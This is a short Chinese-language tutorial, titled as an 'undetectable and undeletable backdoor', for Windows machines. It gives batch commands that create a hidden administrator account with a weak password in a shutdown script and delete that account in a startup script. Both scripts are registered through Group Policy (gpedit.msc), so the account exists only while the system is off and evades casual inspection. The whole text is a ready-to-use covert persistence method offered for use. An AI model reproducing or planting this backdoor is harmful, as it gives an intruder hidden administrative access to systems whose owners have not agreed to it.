無法檢測與删除的後門

無法檢測與删除的後門

    1.自動添加與删除賬号的後門

@echo off

net user heimao$ 123456/add

net user heimao$ /active:yes

net localgroup administrators heimao$ /add

    輸入完畢後，儲存為關機.bat

    2.在打開寫一個腳本内容

net user heimao$ /del

     儲存為啟動.bat

    3.運作裡輸入gpedit.msc打開：計算機配置--windows設定---腳本--

      啟動（把上面的啟動弄進去）--關機（同理）